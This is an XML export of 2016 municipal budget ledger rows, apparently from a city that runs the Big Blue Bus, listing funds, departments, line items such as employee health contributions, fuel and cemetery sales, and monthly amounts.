<row _id="20582"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-101461</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-101461</total></row>
<row _id="20583"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-5609</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5609</total></row>
<row _id="20584"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-328274</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-328274</total></row>
<row _id="20585"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409033.0</object><object_description>CAMP SM-SUMMER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20586"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556150.0</object><object_description>SOLD NAME PLATES/BENCHES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8160</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8160</total></row>
<row _id="20587"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556180.0</object><object_description>EMBALMING SUPPLIES/EQUIPMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10200</total></row>
<row _id="20588"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20589"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>88897</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>88897</total></row>
<row _id="20590"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>454760</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>454760</total></row>
<row _id="20591"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7917</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7917</total></row>
<row _id="20592"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>895</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>895</total></row>
<row _id="20593"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4673</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4673</total></row>
<row _id="20594"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>103054</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>103054</total></row>
<row _id="20595"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-11941</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11941</total></row>
<row _id="20596"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-7164</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7164</total></row>
<row _id="20597"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-8846</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-8846</total></row>
<row _id="20598"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>29</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29</total></row>
<row _id="20599"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544460.0</object><object_description>HOMELESS COUNT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4121</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4121</total></row>
<row _id="20600"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409009.0</object><object_description>CHILDCARE-MAY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20601"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409051.0</object><object_description>MIDDLE SPORTS-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20602"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409062.0</object><object_description>SMSE-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20603"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3354</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3354</total></row>
<row _id="20604"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555430.0</object><object_description>WASTE DISPOSAL (BRINING)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>674934</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>674934</total></row>
<row _id="20605"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402790.0</object><object_description>VAULT SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-54572</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-54572</total></row>
<row _id="20606"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4920</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4920</total></row>
<row _id="20607"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>89165</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>89165</total></row>
<row _id="20608"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>474</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>474</total></row>
<row _id="20609"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-7751</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7751</total></row>
<row _id="20610"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-6283</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6283</total></row>
<row _id="20611"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-3904</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3904</total></row>
<row _id="20612"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-900</total></row>
<row _id="20613"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-51354</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-51354</total></row>
<row _id="20614"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-7851</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7851</total></row>
<row _id="20615"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-53035</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-53035</total></row>
<row _id="20616"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-19635</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-19635</total></row>
<row _id="20617"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>520000.0</object><object_description>SUPPLIES AND EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20618"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400860.0</object><object_description>ST GAS TAX APPORTIONMENT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-1567000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1567000</total></row>
<row _id="20619"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409010.0</object><object_description>CHILDCARE-JUNE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20620"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409063.0</object><object_description>SMSE-SUMMER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20621"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402820.0</object><object_description>FLOWER SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-17029</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-17029</total></row>
<row _id="20622"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1805</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1805</total></row>
<row _id="20623"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4153</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4153</total></row>
<row _id="20624"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533290.0</object><object_description>LANDSCAPE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>27000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>27000</total></row>
<row _id="20625"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402660.0</object><object_description>FUTURE REPLACEMENTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-5720553</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5720553</total></row>
<row _id="20626"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402700.0</object><object_description>REGULAR FUEL-DEPT USAGE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-450000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-450000</total></row>
<row _id="20627"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2165474</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2165474</total></row>
<row _id="20628"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>31399</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31399</total></row>
<row _id="20629"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522312.0</object><object_description>DISCOUNTS LOST</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>333</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>333</total></row>
